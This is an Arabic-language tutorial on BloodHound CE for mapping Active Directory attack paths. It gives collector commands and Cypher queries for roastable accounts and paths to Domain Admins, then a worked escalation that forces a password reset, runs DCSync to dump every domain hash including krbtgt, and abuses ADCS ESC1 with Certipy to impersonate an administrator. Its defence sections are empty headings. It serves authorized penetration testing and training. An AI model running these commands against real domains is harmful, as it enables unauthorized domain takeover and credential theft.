إتقان BloodHound — تحليل مسارات هجوم AD

ما هو BloodHound — و لماذا غيّر AD pentesting إلى الأبد؟

BloodHound CE (Community Edition) هو الـ standard الحالي (2024+) — استبدل النسخة القديمة Legacy. هو client-server: SharpHound/AzureHound يجمع، BloodHound CE يحلّل و يُصوّر.

مكونات النظام — افهم القطع قبل التشغيل

• SharpHound (.NET): الـ collector لـ on-prem Active Directory. يُشغّل من جهاز مرتبط بالـ domain (أو Linux مع creds).
• AzureHound (Go): الـ collector لـ Azure AD / Entra ID. يقرأ Microsoft Graph + ARM APIs.
• BloodHound CE: التطبيق الذي يستورد JSON و يعرض الـ graph.
• Neo4j: قاعدة بيانات graph الخلفية. لا تتفاعل معها مباشرة عادة، لكن يمكنك الاستعلام بـ Cypher.
• الـ "Edges": العلاقات (MemberOf, AdminTo, GenericAll, ForceChangePassword, …) — هذه هي قلب التحليل.

تركيب BloodHound CE — Docker (الأسرع)

# يتطلب Docker + Docker Compose
git clone https://github.com/SpecterOps/BloodHound.git
cd BloodHound/examples/docker-compose
docker compose pull
docker compose up
# افتح http://localhost:8080
# username: admin, password يُطبع في log أول تشغيل
docker logs bloodhound 2>&1 | grep "Initial Password"

جمع البيانات — SharpHound

# نزّل SharpHound من https://github.com/SpecterOps/SharpHound/releases
# أو ضمن BloodHound CE → File Ingest → Download collector

# الافتراضي: كل شيء عدا session enumeration
SharpHound.exe -c All

# التفاصيل:
# DCOnly      — فقط معلومات DC، لا يلمس أي جهاز آخر (الأقل ضوضاء)
# Default     — DC + group memberships + sessions + local admin
# All         — كل شيء (الأعلى تغطية، الأكثر ضوضاء)
# Session     — من الذي يسجّل دخول أين الآن
# LoggedOn    — مثل Session لكن أكثر دقة (يحتاج local admin)
# ACL         — العلاقات الأهم — اجمعها دائماً

# bloodhound.py — Python alternative
pip install bloodhound
bloodhound-python -d corp.local -u user -p 'Pass!23' \
  -c all -ns 10.10.10.10 --zip
# يخرج .zip جاهز للرفع

BloodHound CE → الزر "File Ingest" → Drag & drop الـ .zip
أو في legacy: ادخل واجهة Neo4j → Upload Data → اختر JSON files
الانتظار: domain متوسط ~15-30 دقيقة على import

جمع Azure — AzureHound

# Linux/Windows، Go binary
azurehound list -u 'user@tenant.onmicrosoft.com' -p 'Pass!' \
  --tenant abcd-efgh-... -o azure.json

# أو بـ refresh token (أكثر صمتاً)
azurehound -r '<refresh_token>' --tenant ... list

# يجمع: users, groups, apps, service principals, role assignments, devices, subscriptions, RGs

الاستعلامات الجاهزة — قائمة العشرين الأولى

في BloodHound اضغط على Search → Pre-built Queries:

Cypher — لغة BloodHound السرّية

// 1) كل المسارات من user محدد إلى Domain Admins
MATCH p=shortestPath((u:User {name:"BOB@CORP.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))
RETURN p

// 2) أين له Domain User صلاحية write على computer
MATCH p=(u:User {name:"DOMAIN USERS@CORP.LOCAL"})-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner|AddMember]->(c:Computer)
RETURN p

// 3) Kerberoastable + path لـ DA — السلاح الأقوى
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))
RETURN u.name, p
ORDER BY length(p)

// 4) كل المستخدمين الذين لا يتطلبون Pre-Auth (AS-REP roastable)
MATCH (u:User {dontreqpreauth:true})
RETURN u.name, u.enabled

// 5) كل GPOs و من يحرّرها — تعديل GPO = code execution على آلاف الأجهزة
MATCH p=(s)-[r:GenericAll|GenericWrite|WriteOwner]->(g:GPO)
RETURN p

// 6) مسارات من جهاز "owned" (علّمته red) لأي high-value target
MATCH p=shortestPath((c:Computer {owned:true})-[*1..]->(t {highvalue:true}))
RETURN p LIMIT 50

// 7) مستخدمين لم يسجّلوا دخول منذ 6 شهور — حسابات نائمة جيدة لـ persistence
MATCH (u:User)
WHERE u.lastlogon < (timestamp()/1000 - 15768000)
  AND u.enabled = true
RETURN u.name, u.lastlogon
ORDER BY u.lastlogon

مفهوم Edges — أهم 15 يجب أن تعرفها

سيناريو حقيقي — من Domain User لـ Domain Admin في 4 خطوات

jsmith → MemberOf → IT-SUPPORT
IT-SUPPORT → ForceChangePassword → svc_backup
svc_backup → MemberOf → BACKUP_OPERATORS
BACKUP_OPERATORS → DCSync → CORP.LOCAL

# 1) jsmith → غيّر كلمة سر svc_backup
net user svc_backup NewP@ss123 /domain
# أو via Set-DomainUserPassword (PowerView)
Set-DomainUserPassword -Identity svc_backup -AccountPassword (ConvertTo-SecureString 'NewP@ss123' -AsPlainText -Force)

# 2) سجّل دخول كـ svc_backup → نفّذ DCSync
secretsdump.py CORP/svc_backup:'NewP@ss123'@DC.CORP.LOCAL -just-dc

# هنا: كل NTLM hashes في الـ domain → including krbtgt → Golden Ticket forever

ADCS — ESC1 إلى ESC15 عبر BloodHound

BloodHound CE يكشف كل ESC paths تلقائياً عبر edges مخصصة:

• ADCSESC1: قالب يسمح بـ SAN spoofing → certificate كأي مستخدم.
• ADCSESC3: enrollment agent template → اطلب cert نيابة عن DA.
• ADCSESC4: vulnerable ACL على template.
• ADCSESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 على CA.
• ADCSESC7-9: NTLM relay → CA endpoints.
• ADCSESC13: OID group link abuse.

# الاستغلال بعد الكشف:
# Certipy (الأداة الموحّدة)
certipy find -u user@corp.local -p Pass! -dc-ip 10.0.0.1 -vulnerable
certipy req -u user@corp.local -p Pass! -ca CORP-CA \
  -template VulnTemplate -upn administrator@corp.local
# نتيجة: cert يصادق كـ administrator → DA

نصائح احترافية يستخدمها red teams

1. اجمع البيانات قبل الحاجة: SharpHound في بداية الـ engagement حتى لو لا تعرف ماذا ستفعل بها.
2. استورد على instance خاص: لا تخلط بيانات clients. Docker per-engagement.
3. اضغط على عقدة و اختر "Set as Starting Node" + "Set as Ending Node" → "Pathfinding".
4. "Mark as High Value" للأنظمة الحساسة (file servers، Exchange، PKI، Tier-0). Pathfinding يفضّلها.
5. استخدم Tab "Analysis" — fans-out and fans-in counts تكشف bottlenecks في الـ AD.
6. Custom queries.json: احفظ Cypher الخاصة بك للاستخدام عبر engagements.
7. تتبّع الـ "Outbound Object Control" لكل user تخترقه — ماذا يستطيع أن يعمل؟
8. BloodHound + ldapdomaindump: تكاملان جيد، ldapdomaindump أسرع للملخصات النصية.
9. لا تنسَ الـ trusts: غالباً ما يُهمل، لكن child domain trust → forest pivot.
10. قبل كل اختراق: Cypher يخبرك بأقصر طريق. لا تتحرك أعمى. كل عضوية مجموعة تضيفها = ضوضاء.

الكشف من جانب الدفاع — كيف تُلتقط؟

الدفاع — هندسة AD غير قابلة للـ BloodHound

مصادر للإتقان

• BloodHound Docs: bloodhound.specterops.io — رسمي و محدّث.
• SpecterOps blog: مقالات عميقة من المطوّرين.
• HTB Pro Labs (Dante, Offshore, RastaLabs): AD environments واقعية.
• GOAD (Game of Active Directory): مختبر مجاني يُنشأ بـ Vagrant.
• SANS SEC560/SEC565: تدريبات احترافية.
• كتاب The Hacker Playbook 3 + Pentesting Active Directory by SpecterOps.